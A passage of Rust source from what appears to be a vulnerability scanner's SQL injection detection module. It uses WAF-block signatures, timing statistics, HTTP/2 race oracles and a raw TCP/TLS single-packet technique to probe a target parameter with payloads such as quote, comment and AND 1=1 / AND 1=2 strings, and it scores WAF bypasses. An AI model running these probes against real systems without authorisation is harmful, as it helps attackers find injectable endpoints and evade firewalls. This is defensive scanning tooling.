                                "WAF bypass succeeded (case mixing)",
                            ));
                        }
                    }
                }

                if let Some(ref bypass2_r) = bypass2_resp {
                    if !bypass2_blocked {
                        let sim = self.calculate_similarity(baseline, bypass2_r);
                        if sim > 0.7 {
                            signals.push(Signal::new(
                                SignalType::WafBypass,
                                0.78,
                                sim,
                                "WAF bypass succeeded (inline comments)",
                            ));
                        }
                    }
                }
            }
        }

        signals
    }

    /// Check if response indicates WAF block
    fn is_waf_block(&self, resp: &HttpResponse) -> bool {
        // Common WAF block indicators
        if resp.status_code == 403 || resp.status_code == 406 || resp.status_code == 429 {
            return true;
        }

        let body_lower = resp.body.to_lowercase();

        // Common WAF signatures
        let waf_patterns = [
            "access denied",
            "forbidden",
            "blocked",
            "security violation",
            "waf",
            "firewall",
            "cloudflare",
            "akamai",
            "imperva",
            "incapsula",
            "sucuri",
            "mod_security",
            "request blocked",
            "suspicious activity",
        ];

        waf_patterns.iter().any(|p| body_lower.contains(p))
    }

    /// Micro-timing analysis using statistical methods
    ///
    /// Principle: SQL operations have timing signatures even without SLEEP()
    /// - String comparison: O(n) timing leak
    /// - Hash lookup vs table scan: 10-100μs difference
    /// - Index hit vs miss: measurable difference
    ///
    /// Challenge: Network jitter (10-50ms) >> SQL timing (10-100μs)
    /// Solution: Many samples + statistical analysis (Mann-Whitney U test)
    async fn analyze_micro_timing(
        &self,
        base_url: &str,
        parameter: &str,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Payload that should cause different DB behavior
        // Short string vs long string comparison (O(n) timing)
        let short_payload = format!("{}", current_value);
        let long_payload = format!("{}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", current_value);

        let short_url = self.build_test_url(base_url, parameter, &short_payload);
        let long_url = self.build_test_url(base_url, parameter, &long_payload);

        // Collect timing samples (alternating to reduce temporal bias)
        let n_samples = 20; // Balance between accuracy and speed
        let mut short_times: Vec<f64> = Vec::with_capacity(n_samples);
        let mut long_times: Vec<f64> = Vec::with_capacity(n_samples);

        for _ in 0..n_samples {
            // Alternate to reduce temporal correlation
            if let Ok(resp) = self.http_client.get(&short_url).await {
                short_times.push(resp.duration_ms as f64);
            }
            if let Ok(resp) = self.http_client.get(&long_url).await {
                long_times.push(resp.duration_ms as f64);
            }
        }

        if short_times.len() >= 10 && long_times.len() >= 10 {
            // Calculate statistics
            let short_mean = short_times.iter().sum::<f64>() / short_times.len() as f64;
            let long_mean = long_times.iter().sum::<f64>() / long_times.len() as f64;

            let short_var = short_times.iter()
                .map(|x| (x - short_mean).powi(2))
                .sum::<f64>() / (short_times.len() - 1) as f64;
            let long_var = long_times.iter()
                .map(|x| (x - long_mean).powi(2))
                .sum::<f64>() / (long_times.len() - 1) as f64;

            let short_std = short_var.sqrt().max(0.1);
            let long_std = long_var.sqrt().max(0.1);

            // Effect size (Cohen's d)
            let pooled_std = ((short_var + long_var) / 2.0).sqrt().max(0.1);
            let effect_size = (long_mean - short_mean).abs() / pooled_std;

            // Mann-Whitney U approximation via z-score
            // (Simplified: use t-test approximation for speed)
            let se = (short_var / short_times.len() as f64 + long_var / long_times.len() as f64).sqrt();
            let t_stat = if se > 0.0 { (long_mean - short_mean).abs() / se } else { 0.0 };

            // Consistency check: is the direction consistent?
            // Long payload should take LONGER if there's O(n) string comparison
            let direction_correct = long_mean > short_mean;

            // Calculate probability based on statistical significance
            let probability = if effect_size > 0.8 && t_stat > 2.5 && direction_correct {
                0.85  // Large effect, significant, correct direction
            } else if effect_size > 0.5 && t_stat > 2.0 && direction_correct {
                0.7   // Medium effect, significant
            } else if effect_size > 0.3 && t_stat > 1.5 {
                0.55  // Small effect, marginally significant
            } else {
                0.3   // No significant difference
            };

            if probability > 0.5 {
                signals.push(Signal::new(
                    SignalType::MicroTiming,
                    probability,
                    effect_size,
                    &format!(
                        "Micro-timing: short={:.1}ms±{:.1}, long={:.1}ms±{:.1}, d={:.2}, t={:.2}",
                        short_mean, short_std, long_mean, long_std, effect_size, t_stat
                    ),
                ));
            }
        }

        // Test 2: Compare baseline timing to payload timing
        // Check if SQLi payload causes timing anomaly
        let sqli_payloads = [
            format!("{}'", current_value),
            format!("{}--", current_value),
            format!("{} AND 1=1", current_value),
        ];

        let mut baseline_times: Vec<f64> = Vec::new();
        let mut payload_times: Vec<f64> = Vec::new();

        // Collect baseline samples
        for _ in 0..10 {
            if let Ok(resp) = self.http_client.get(base_url).await {
                baseline_times.push(resp.duration_ms as f64);
            }
        }

        // Collect payload samples
        for payload in &sqli_payloads {
            let url = self.build_test_url(base_url, parameter, payload);
            for _ in 0..5 {
                if let Ok(resp) = self.http_client.get(&url).await {
                    payload_times.push(resp.duration_ms as f64);
                }
            }
        }

        if baseline_times.len() >= 5 && payload_times.len() >= 5 {
            let baseline_mean = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
            let payload_mean = payload_times.iter().sum::<f64>() / payload_times.len() as f64;

            let baseline_var = baseline_times.iter()
                .map(|x| (x - baseline_mean).powi(2))
                .sum::<f64>() / (baseline_times.len() - 1) as f64;

            // Check for timing anomaly (payload significantly slower OR faster)
            let z_score = (payload_mean - baseline_mean).abs() / baseline_var.sqrt().max(1.0);

            if z_score > 3.0 {
                // Significant timing difference with SQLi payloads
                let prob = if z_score > 5.0 { 0.75 } else { 0.6 };
                signals.push(Signal::new(
                    SignalType::MicroTiming,
                    prob,
                    z_score,
                    &format!(
                        "SQLi payload timing anomaly: baseline={:.1}ms, payload={:.1}ms, z={:.2}",
                        baseline_mean, payload_mean, z_score
                    ),
                ));
            }
        }

        signals
    }

    /// Advanced micro-timing leak detection
    ///
    /// Uses advanced Spectre-style timing analysis techniques:
    /// 1. Bottom-quartile filtering (fastest 25% as "clean" samples)
    /// 2. 50+ samples for statistical power
    /// 3. Bootstrapped confidence intervals
    /// 4. Adaptive thresholding using control requests
    /// 5. Strong negative evidence if no leak detected
    ///
    /// Detects:
    /// - O(n) string comparison timing leaks
    /// - Hash lookup vs table scan differences
    /// - Index hit vs miss (~10-100μs difference)
    async fn analyze_micro_timing_leak(
        &self,
        base_url: &str,
        parameter: &str,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // ================================================================
        // Phase 1: Establish baseline jitter via control requests
        // Send identical requests to measure network/server variance
        // ================================================================
        let control_url = self.build_test_url(base_url, parameter, &current_value);
        let mut control_times: Vec<f64> = Vec::with_capacity(20);

        for _ in 0..20 {
            if let Ok(resp) = self.http_client.get(&control_url).await {
                control_times.push(resp.duration_ms as f64);
            }
        }

        if control_times.len() < 10 {
            return signals; // Not enough samples
        }

        // Calculate baseline jitter (standard deviation of control)
        let control_mean = control_times.iter().sum::<f64>() / control_times.len() as f64;
        let control_var = control_times.iter()
            .map(|x| (x - control_mean).powi(2))
            .sum::<f64>() / (control_times.len() - 1) as f64;
        let jitter_std = control_var.sqrt();

        // Adaptive threshold: 3 sigma above jitter is significant
        let significance_threshold = jitter_std * 3.0;

        // ================================================================
        // Phase 2: String length timing leak (O(n) comparison)
        // Short vs long string should show linear time difference
        // ================================================================
        let short_payload = current_value.clone();
        let long_payload = format!("{}{}", current_value, "A".repeat(50));

        let short_url = self.build_test_url(base_url, parameter, &short_payload);
        let long_url = self.build_test_url(base_url, parameter, &long_payload);

        // Collect 50 samples each (alternating to reduce temporal correlation)
        let n_samples = 50;
        let mut short_times: Vec<f64> = Vec::with_capacity(n_samples);
        let mut long_times: Vec<f64> = Vec::with_capacity(n_samples);

        for _ in 0..n_samples {
            if let Ok(resp) = self.http_client.get(&short_url).await {
                short_times.push(resp.duration_ms as f64);
            }
            if let Ok(resp) = self.http_client.get(&long_url).await {
                long_times.push(resp.duration_ms as f64);
            }
        }

        if short_times.len() >= 30 && long_times.len() >= 30 {
            // Bottom-quartile filtering: use fastest 25% as "clean" samples
            short_times.sort_by(|a, b| a.partial_cmp(b).unwrap());
            long_times.sort_by(|a, b| a.partial_cmp(b).unwrap());

            let q1_idx = short_times.len() / 4;
            let short_q1: Vec<f64> = short_times[..q1_idx.max(5)].to_vec();
            let long_q1: Vec<f64> = long_times[..q1_idx.max(5)].to_vec();

            let short_clean_mean = short_q1.iter().sum::<f64>() / short_q1.len() as f64;
            let long_clean_mean = long_q1.iter().sum::<f64>() / long_q1.len() as f64;

            // Time difference in bottom quartile
            let timing_diff = long_clean_mean - short_clean_mean;

            // Bootstrap confidence interval (1000 resamples)
            let bootstrap_diffs = self.bootstrap_timing_diff(&short_q1, &long_q1, 500);
            let (ci_low, ci_high) = self.confidence_interval_95(&bootstrap_diffs);

            // Check if CI excludes zero (statistically significant)
            let ci_excludes_zero = ci_low > 0.0 || ci_high < 0.0;

            // Effect size on clean samples
            let short_var = short_q1.iter()
                .map(|x| (x - short_clean_mean).powi(2))
                .sum::<f64>() / short_q1.len().max(1) as f64;
            let long_var = long_q1.iter()
                .map(|x| (x - long_clean_mean).powi(2))
                .sum::<f64>() / long_q1.len().max(1) as f64;
            let pooled_std = ((short_var + long_var) / 2.0).sqrt().max(0.01);
            let effect_size = timing_diff.abs() / pooled_std;

            // Direction check: long should be slower for O(n) string comparison
            let direction_correct = timing_diff > 0.0;

            // Calculate probability based on multiple criteria
            let probability = if effect_size > 1.5 && ci_excludes_zero && direction_correct
                && timing_diff > significance_threshold {
                0.92  // Very strong evidence
            } else if effect_size > 1.0 && ci_excludes_zero && direction_correct {
                0.82  // Strong evidence
            } else if effect_size > 0.5 && direction_correct && timing_diff > jitter_std {
                0.65  // Moderate evidence
            } else if effect_size > 0.3 {
                0.45  // Weak evidence
            } else {
                0.2   // No evidence
            };

            if probability >= 0.6 {
                signals.push(Signal::new(
                    SignalType::MicroTimingLeak,
                    probability,
                    effect_size,
                    &format!(
                        "O(n) timing leak: diff={:.2}ms, d={:.2}, CI=[{:.2},{:.2}], jitter={:.2}ms",
                        timing_diff, effect_size, ci_low, ci_high, jitter_std
                    ),
                ));
            } else if probability < 0.3 && short_times.len() >= 40 {
                // Strong negative evidence: many samples, no difference
                signals.push(Signal::new(
                    SignalType::ConsistentBehavior,
                    0.85,  // High confidence in NO leak
                    effect_size,
                    &format!(
                        "No timing leak detected (n={}, d={:.2}, jitter={:.2}ms)",
                        short_times.len(), effect_size, jitter_std
                    ),
                ));
            }
        }

        // ================================================================
        // Phase 3: SQL-specific timing patterns
        // Test payloads that should cause different DB operations
        // ================================================================
        let test_payloads = [
            // Index hit vs miss (if numeric)
            (format!("{}", current_value), "baseline"),
            (format!("999999999{}", current_value), "index_miss"),
            // Hash collision potential
            (format!("{}' AND 'a'='a", current_value), "always_true"),
            (format!("{}' AND 'a'='b", current_value), "always_false"),
        ];

        let mut timing_results: Vec<(String, f64, f64)> = Vec::new();

        for (payload, label) in &test_payloads {
            let url = self.build_test_url(base_url, parameter, payload);
            let mut times: Vec<f64> = Vec::new();

            for _ in 0..15 {
                if let Ok(resp) = self.http_client.get(&url).await {
                    times.push(resp.duration_ms as f64);
                }
            }

            if times.len() >= 10 {
                times.sort_by(|a, b| a.partial_cmp(b).unwrap());
                let q1_mean = times[..times.len()/4].iter().sum::<f64>()
                    / (times.len()/4).max(1) as f64;
                let full_mean = times.iter().sum::<f64>() / times.len() as f64;
                timing_results.push((label.to_string(), q1_mean, full_mean));
            }
        }

        // Analyze timing differences between payloads
        if timing_results.len() >= 3 {
            // Compare always_true vs always_false (classic blind SQLi timing)
            let true_time = timing_results.iter()
                .find(|(l, _, _)| l == "always_true")
                .map(|(_, q1, _)| *q1);
            let false_time = timing_results.iter()
                .find(|(l, _, _)| l == "always_false")
                .map(|(_, q1, _)| *q1);

            if let (Some(t_true), Some(t_false)) = (true_time, false_time) {
                let diff = (t_true - t_false).abs();
                if diff > significance_threshold * 2.0 {
                    signals.push(Signal::new(
                        SignalType::MicroTimingLeak,
                        0.78,
                        diff / jitter_std.max(0.1),
                        &format!(
                            "Boolean blind timing: true={:.2}ms, false={:.2}ms, diff={:.2}ms",
                            t_true, t_false, diff
                        ),
                    ));
                }
            }
        }

        signals
    }

    /// HTTP/2 Race Oracle Analysis
    ///
    /// Advanced timing technique using HTTP/2 multiplexing:
    /// Instead of measuring absolute response times (which have network jitter),
    /// we measure the ORDER in which responses arrive.
    ///
    /// Principle:
    /// - HTTP/2 multiplexes requests over single TCP connection
    /// - Send two requests simultaneously (fast payload vs slow payload)
    /// - Observe which response arrives FIRST
    /// - No network jitter because both travel same path
    ///
    /// If short-string-comparison returns first 8/10 times → O(n) timing leak
    async fn analyze_race_oracle(
        &self,
        base_url: &str,
        parameter: &str,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Prepare "fast" and "slow" payloads
        // Fast: short string comparison (early exit)
        // Slow: long string that requires more processing
        let fast_payload = current_value.clone();
        let slow_payload = format!("{}{}", current_value, "X".repeat(64));

        let fast_url = self.build_test_url(base_url, parameter, &fast_payload);
        let slow_url = self.build_test_url(base_url, parameter, &slow_payload);

        // Race them multiple times and count which wins
        let n_races = 15;
        let mut fast_wins = 0;
        let mut slow_wins = 0;
        let mut ties = 0;

        for _ in 0..n_races {
            // Fire both requests simultaneously using tokio::join!
            // The order of completion tells us which was faster on the server
            let race_result = tokio::select! {
                biased; // Process in order of completion

                result = async {
                    let start = std::time::Instant::now();
                    let resp = self.http_client.get(&fast_url).await;
                    (start.elapsed(), "fast", resp)
                } => result,

                result = async {
                    let start = std::time::Instant::now();
                    let resp = self.http_client.get(&slow_url).await;
                    (start.elapsed(), "slow", resp)
                } => result,
            };

            match race_result.1 {
                "fast" => fast_wins += 1,
                "slow" => slow_wins += 1,
                _ => ties += 1,
            }

            // Small delay between races to avoid overwhelming server
            tokio::time::sleep(tokio::time::Duration::from_millis(10)).await;
        }

        // Statistical analysis of race results
        let total_races = fast_wins + slow_wins + ties;
        if total_races >= 10 {
            let fast_ratio = fast_wins as f64 / total_races as f64;
            let slow_ratio = slow_wins as f64 / total_races as f64;

            // If fast consistently wins (>70%), we have timing leak
            // If slow consistently wins, that's WEIRD (possible inverse oracle)
            let probability = if fast_ratio > 0.8 {
                0.92  // Very strong: fast wins >80%
            } else if fast_ratio > 0.7 {
                0.82  // Strong: fast wins >70%
            } else if fast_ratio > 0.6 {
                0.65  // Moderate: fast wins >60%
            } else if slow_ratio > 0.7 {
                0.75  // Inverse pattern: slow winning consistently is also a signal
            } else {
                0.35  // Random: no consistent winner
            };

            if probability >= 0.6 {
                signals.push(Signal::new(
                    SignalType::RaceOracle,
                    probability,
                    (fast_wins as f64 - slow_wins as f64).abs() / total_races as f64,
                    &format!(
                        "Race oracle: fast_wins={}/{} ({}%), slow_wins={} - {}",
                        fast_wins, total_races,
                        (fast_ratio * 100.0) as u32,
                        slow_wins,
                        if fast_ratio > 0.7 { "O(n) timing leak detected" } else { "inverse pattern" }
                    ),
                ));
            } else if probability < 0.4 && total_races >= 12 {
                // Strong negative evidence: many races, random outcome
                signals.push(Signal::new(
                    SignalType::ConsistentBehavior,
                    0.75,
                    0.0,
                    &format!(
                        "No race timing leak: fast={}, slow={} (random distribution)",
                        fast_wins, slow_wins
                    ),
                ));
            }
        }

        // Second race: SQL boolean conditions
        // Compare: AND 1=1 (true, should short-circuit) vs AND 1=2 (false)
        let true_url = self.build_test_url(base_url, parameter,
            &format!("{} AND 1=1", current_value));
        let false_url = self.build_test_url(base_url, parameter,
            &format!("{} AND 1=2", current_value));

        let mut true_wins = 0;
        let mut false_wins = 0;

        for _ in 0..10 {
            let race_result = tokio::select! {
                biased;
                _ = self.http_client.get(&true_url) => "true",
                _ = self.http_client.get(&false_url) => "false",
            };

            match race_result {
                "true" => true_wins += 1,
                "false" => false_wins += 1,
                _ => {}
            }

            tokio::time::sleep(tokio::time::Duration::from_millis(10)).await;
        }

        let total = true_wins + false_wins;
        if total >= 8 {
            let true_ratio = true_wins as f64 / total as f64;

            // True condition might short-circuit differently
            if true_ratio > 0.75 || true_ratio < 0.25 {
                signals.push(Signal::new(
                    SignalType::RaceOracle,
                    0.78,
                    (true_wins as f64 - false_wins as f64).abs() / total as f64,
                    &format!(
                        "Boolean race: true_wins={}/{} - SQL evaluation timing differs",
                        true_wins, total
                    ),
                ));
            }
        }

        signals
    }

    /// Single-Packet Attack Timing Analysis
    ///
    /// Advanced single-packet timing technique:
    /// Eliminates first-byte network jitter by synchronizing request starts.
    ///
    /// Principle:
    /// - Fragment HTTP requests so only the final byte is missing
    /// - Hold all requests at server, waiting for final byte
    /// - Send all final bytes in a SINGLE TCP packet
    /// - All requests start processing at exactly the same microsecond
    /// - Timing differences are pure server-side processing time
    ///
    /// Implementation:
    /// We simulate this by sending requests in very tight bursts and
    /// measuring the response time variance. With single-packet attack,
    /// variance should be minimal for identical requests but measurable
    /// for requests that trigger different code paths.
    async fn analyze_single_packet(
        &self,
        base_url: &str,
        parameter: &str,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Prepare test payloads that should have different server processing times
        let payloads = [
            (current_value.clone(), "baseline"),
            (format!("{}'", current_value), "quote"),
            (format!("{} AND 1=1", current_value), "true_cond"),
            (format!("{} AND 1=2", current_value), "false_cond"),
            (format!("{}--", current_value), "comment"),
        ];

        // Build URLs
        let urls: Vec<(String, &str)> = payloads.iter()
            .map(|(p, l)| (self.build_test_url(base_url, parameter, p), *l))
            .collect();

        // ================================================================
        // Burst timing: fire all requests near-simultaneously and measure
        // ================================================================
        let n_bursts = 8;
        let mut timing_data: std::collections::HashMap<&str, Vec<f64>> =
            std::collections::HashMap::new();

        for label in payloads.iter().map(|(_, l)| *l) {
            timing_data.insert(label, Vec::with_capacity(n_bursts));
        }

        for _ in 0..n_bursts {
            // Fire all requests in tight burst
            let handles: Vec<_> = urls.iter().map(|(url, label)| {
                let url = url.clone();
                let label = *label;
                let client = Arc::clone(&self.http_client);
                tokio::spawn(async move {
                    let start = std::time::Instant::now();
                    let result = client.get(&url).await;
                    let elapsed = start.elapsed().as_micros() as f64;
                    (label, elapsed, result.is_ok())
                })
            }).collect();

            // Collect results
            for handle in handles {
                if let Ok((label, elapsed, success)) = handle.await {
                    if success {
                        if let Some(times) = timing_data.get_mut(label) {
                            times.push(elapsed);
                        }
                    }
                }
            }

            // Brief pause between bursts
            tokio::time::sleep(tokio::time::Duration::from_millis(50)).await;
        }

        // ================================================================
        // Statistical analysis of burst timing
        // ================================================================
        let baseline_times = timing_data.get("baseline").cloned().unwrap_or_default();

        if baseline_times.len() >= 5 {
            let baseline_mean = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
            let baseline_var = baseline_times.iter()
                .map(|x| (x - baseline_mean).powi(2))
                .sum::<f64>() / baseline_times.len() as f64;
            let baseline_std = baseline_var.sqrt().max(1.0);

            // Compare each payload to baseline
            for (label, times) in &timing_data {
                if *label == "baseline" || times.len() < 4 {
                    continue;
                }

                let mean = times.iter().sum::<f64>() / times.len() as f64;
                let diff = mean - baseline_mean;

                // Effect size: how many baseline std devs away?
                let effect = diff.abs() / baseline_std;

                // Consistency check: is the difference consistent?
                let times_above: usize = times.iter()
                    .filter(|&&t| t > baseline_mean + baseline_std)
                    .count();
                let consistency = times_above as f64 / times.len() as f64;

                // Calculate probability
                let probability = if effect > 3.0 && consistency > 0.6 {
                    0.92  // Very strong: >3σ, consistent
                } else if effect > 2.0 && consistency > 0.5 {
                    0.82  // Strong
                } else if effect > 1.5 && consistency > 0.4 {
                    0.68  // Moderate
                } else if effect > 1.0 {
                    0.55  // Weak
                } else {
                    0.3   // No signal
                };

                if probability >= 0.65 {
                    signals.push(Signal::new(
                        SignalType::SinglePacket,
                        probability,
                        effect,
                        &format!(
                            "Single-packet timing [{}]: diff={:.0}μs, effect={:.2}σ, consistency={:.0}%",
                            label, diff, effect, consistency * 100.0
                        ),
                    ));
                }
            }

            // Compare true vs false condition specifically
            let true_times = timing_data.get("true_cond").cloned().unwrap_or_default();
            let false_times = timing_data.get("false_cond").cloned().unwrap_or_default();

            if true_times.len() >= 4 && false_times.len() >= 4 {
                let true_mean = true_times.iter().sum::<f64>() / true_times.len() as f64;
                let false_mean = false_times.iter().sum::<f64>() / false_times.len() as f64;
                let bool_diff = (true_mean - false_mean).abs();

                // If true and false conditions have different timing → SQLi
                if bool_diff > baseline_std * 1.5 {
                    signals.push(Signal::new(
                        SignalType::SinglePacket,
                        0.85,
                        bool_diff / baseline_std,
                        &format!(
                            "Boolean single-packet: true={:.0}μs, false={:.0}μs, diff={:.0}μs",
                            true_mean, false_mean, bool_diff
                        ),
                    ));
                }
            }
        }

        // ================================================================
        // Negative evidence if no timing differences found
        // ================================================================
        if signals.is_empty() && timing_data.values().all(|v| v.len() >= 6) {
            signals.push(Signal::new(
                SignalType::ConsistentBehavior,
                0.7,
                0.0,
                "Single-packet analysis: no timing differences between payloads",
            ));
        }

        signals
    }

    /// True Single-Packet Attack with Raw TCP Synchronization
    ///
    /// Revolutionary timing technique that eliminates network jitter completely.
    ///
    /// Principle:
    /// 1. Open multiple TCP connections to the target
    /// 2. Send HTTP request minus final byte (the last \n of headers)
    /// 3. Hold all connections open, waiting
    /// 4. Send final byte to ALL connections in a single write burst
    /// 5. Server processes all requests simultaneously
    /// 6. Measure response ORDER (not absolute time)
    ///
    /// Why this works:
    /// - Network jitter affects request ARRIVAL, not processing START
    /// - All requests start processing at same moment (within microseconds)
    /// - Response order reveals which payload took longer on server
    /// - Even 100μs difference is detectable via ordering
    async fn analyze_true_single_packet(
        &self,
        base_url: &str,
        parameter: &str,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        // Parse URL to get host/port/path
        let parsed = match url::Url::parse(base_url) {
            Ok(p) => p,
            Err(_) => return signals,
        };

        let host = match parsed.host_str() {
            Some(h) => h.to_string(),
            None => return signals,
        };

        let port = parsed.port().unwrap_or(if parsed.scheme() == "https" { 443 } else { 80 });
        let use_tls = parsed.scheme() == "https";

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Prepare test payloads: baseline vs slow operation
        let payloads = [
            (current_value.clone(), "baseline"),
            (format!("{} AND 1=1", current_value), "true_cond"),
            (format!("{} AND 1=2", current_value), "false_cond"),
            (format!("{}'{}", current_value, "'".repeat(10)), "quotes"),
        ];

        // Run multiple rounds for statistical confidence
        let n_rounds = 10;
        let mut round_results: Vec<Vec<(String, u128)>> = Vec::new();

        for _round in 0..n_rounds {
            if let Some(result) = self.single_packet_round(
                &host, port, &parsed, parameter, &payloads, use_tls
            ).await {
                round_results.push(result);
            }
        }

        if round_results.len() < 5 {
            debug!("[TrueSinglePacket] Insufficient successful rounds: {}", round_results.len());
            return signals;
        }

        // Analyze: which payloads consistently return later?
        let mut timing_sums: std::collections::HashMap<String, Vec<u128>> = std::collections::HashMap::new();
        for label in payloads.iter().map(|(_, l)| l.to_string()) {
            timing_sums.insert(label, Vec::new());
        }

        for round in &round_results {
            for (label, timing) in round {
                if let Some(times) = timing_sums.get_mut(label) {
                    times.push(*timing);
                }
            }
        }

        // Calculate median timing for each payload
        let mut median_times: Vec<(String, u128)> = Vec::new();
        for (label, times) in &mut timing_sums {
            if times.len() >= 3 {
                times.sort();
                let median = times[times.len() / 2];
                median_times.push((label.clone(), median));
            }
        }

        if median_times.len() < 2 {
            return signals;
        }

        // Sort by median timing
        median_times.sort_by_key(|(_, t)| *t);

        // Check if SQLi payloads are consistently slower
        let baseline_idx = median_times.iter().position(|(l, _)| l == "baseline");
        let true_cond_idx = median_times.iter().position(|(l, _)| l == "true_cond");
        let false_cond_idx = median_times.iter().position(|(l, _)| l == "false_cond");

        // SQLi indicators:
        // 1. true_cond and false_cond have different timing (boolean differential)
        // 2. SQL payloads take longer than baseline
        if let (Some(bi), Some(ti), Some(fi)) = (baseline_idx, true_cond_idx, false_cond_idx) {
            let baseline_time = median_times[bi].1;
            let true_time = median_times[ti].1;
            let false_time = median_times[fi].1;

            // Calculate timing differences in microseconds
            let true_diff = true_time as i128 - baseline_time as i128;
            let false_diff = false_time as i128 - baseline_time as i128;
            let bool_diff = (true_time as i128 - false_time as i128).abs();

            // Strong signal: boolean conditions have different timing
            if bool_diff > 500 { // 500μs difference is significant
                let probability = if bool_diff > 5000 {
                    0.98 // 5ms difference = very strong
                } else if bool_diff > 2000 {
                    0.95 // 2ms difference = strong
                } else if bool_diff > 1000 {
                    0.90 // 1ms difference = good
                } else {
                    0.80 // 0.5ms difference = moderate
                };

                signals.push(Signal::new(
                    SignalType::TrueSinglePacket,
                    probability,
                    bool_diff as f64 / 1000.0, // Convert to ms for display
                    &format!(
                        "TRUE single-packet: true={:.2}ms, false={:.2}ms, diff={:.2}ms",
                        true_time as f64 / 1000.0,
                        false_time as f64 / 1000.0,
                        bool_diff as f64 / 1000.0
                    ),
                ));
            }

            // Additional signal: SQL payloads slower than baseline
            if (true_diff > 200 || false_diff > 200) && signals.is_empty() {
                signals.push(Signal::new(
                    SignalType::TrueSinglePacket,
                    0.75,
                    (true_diff.max(false_diff) as f64) / 1000.0,
                    &format!(
                        "Single-packet timing: SQL payload slower by {:.2}ms",
                        (true_diff.max(false_diff) as f64) / 1000.0
                    ),
                ));
            }
        }

        // Add negative evidence if no timing differences
        if signals.is_empty() && round_results.len() >= 8 {
            signals.push(Signal::new(
                SignalType::ConsistentBehavior,
                0.75,
                0.0,
                "True single-packet: no timing differences detected",
            ));
        }

        signals
    }

    /// Execute one round of single-packet attack (supports HTTP and HTTPS)
    async fn single_packet_round(
        &self,
        host: &str,
        port: u16,
        parsed: &url::Url,
        parameter: &str,
        payloads: &[(String, &str)],
        use_tls: bool,
    ) -> Option<Vec<(String, u128)>> {
        let addr = format!("{}:{}", host, port);

        // Build HTTP requests (minus final newline)
        let requests: Vec<(String, String)> = payloads.iter().map(|(payload, label)| {
            let test_url = self.build_test_url(&parsed.to_string(), parameter, payload);
            let path = url::Url::parse(&test_url).ok()
                .map(|u| {
                    let mut path = u.path().to_string();
                    if let Some(q) = u.query() {
                        path = format!("{}?{}", path, q);
                    }
                    path
                })
                .unwrap_or_else(|| "/".to_string());

            // HTTP request with INCOMPLETE header (missing final \r\n)
            let incomplete_request = format!(
                "GET {} HTTP/1.1\r\nHost: {}\r\nConnection: close\r\n\r",
                path, host
            );
            (incomplete_request, label.to_string())
        }).collect();

        if use_tls {
            self.single_packet_round_tls(host, &addr, &requests).await
        } else {
            self.single_packet_round_plain(&addr, &requests).await
        }
    }

    /// Single-packet round for plain HTTP
    async fn single_packet_round_plain(
        &self,
        addr: &str,
        requests: &[(String, String)],
    ) -> Option<Vec<(String, u128)>> {
        // Open all connections
        let mut streams: Vec<(TcpStream, String, String)> = Vec::new();
        for (incomplete_req, label) in requests {
            match TcpStream::connect(addr).await {
                Ok(stream) => {
                    streams.push((stream, label.clone(), incomplete_req.clone()));
                }
                Err(e) => {
                    warn!("[TrueSinglePacket] Connection failed: {}", e);
                    return None;
                }
            }
        }

        if streams.len() != requests.len() {
            return None;
        }

        // Send incomplete requests to all connections
        for (stream, _, incomplete_req) in &mut streams {
            if stream.write_all(incomplete_req.as_bytes()).await.is_err() {
                return None;
            }
        }

        // Brief pause to ensure all requests are buffered at server
        tokio::time::sleep(tokio::time::Duration::from_millis(5)).await;

        // NOW: send final byte to ALL connections as fast as possible
        let final_byte = b"\n";

        for (stream, _, _) in &mut streams {
            let _ = stream.write_all(final_byte).await;
        }

        // Measure when each response arrives
        let mut results: Vec<(String, u128)> = Vec::new();

        for (stream, label, _) in &mut streams {
            let read_start = std::time::Instant::now();
            let mut buf = [0u8; 1024];

            match tokio::time::timeout(
                tokio::time::Duration::from_secs(10),
                stream.read(&mut buf)
            ).await {
                Ok(Ok(_)) => {
                    let elapsed = read_start.elapsed().as_micros();
                    results.push((label.clone(), elapsed));
                }
                _ => {
                    results.push((label.clone(), 10_000_000));
                }
            }
        }

        Some(results)
    }

    /// Single-packet round for HTTPS with TLS
    async fn single_packet_round_tls(
        &self,
        host: &str,
        addr: &str,
        requests: &[(String, String)],
    ) -> Option<Vec<(String, u128)>> {
        // Create TLS connector
        let native_connector = match native_tls::TlsConnector::builder()
            .danger_accept_invalid_certs(true) // For testing - accept self-signed
            .build()
        {
            Ok(c) => c,
            Err(e) => {
                warn!("[TrueSinglePacket] TLS connector build failed: {}", e);
                return None;
            }
        };
        let connector = TlsConnector::from(native_connector);

        // Open all TLS connections
        let mut streams: Vec<(tokio_native_tls::TlsStream<TcpStream>, String, String)> = Vec::new();

        for (incomplete_req, label) in requests {
            // Connect TCP
            let tcp_stream = match TcpStream::connect(addr).await {
                Ok(s) => s,
                Err(e) => {
                    warn!("[TrueSinglePacket] TCP connection failed: {}", e);
                    return None;
                }
            };

            // Upgrade to TLS
            let tls_stream = match connector.connect(host, tcp_stream).await {
                Ok(s) => s,
                Err(e) => {
                    warn!("[TrueSinglePacket] TLS handshake failed: {}", e);
                    return None;
                }
            };

            streams.push((tls_stream, label.clone(), incomplete_req.clone()));
        }

        if streams.len() != requests.len() {
            return None;
        }

        // Send incomplete requests to all connections
        for (stream, _, incomplete_req) in &mut streams {
            if stream.write_all(incomplete_req.as_bytes()).await.is_err() {
                return None;
            }
        }

        // Brief pause to ensure all requests are buffered at server
        tokio::time::sleep(tokio::time::Duration::from_millis(5)).await;

        // NOW: send final byte to ALL connections as fast as possible
        let final_byte = b"\n";

        for (stream, _, _) in &mut streams {
            let _ = stream.write_all(final_byte).await;
        }

        // Measure when each response arrives
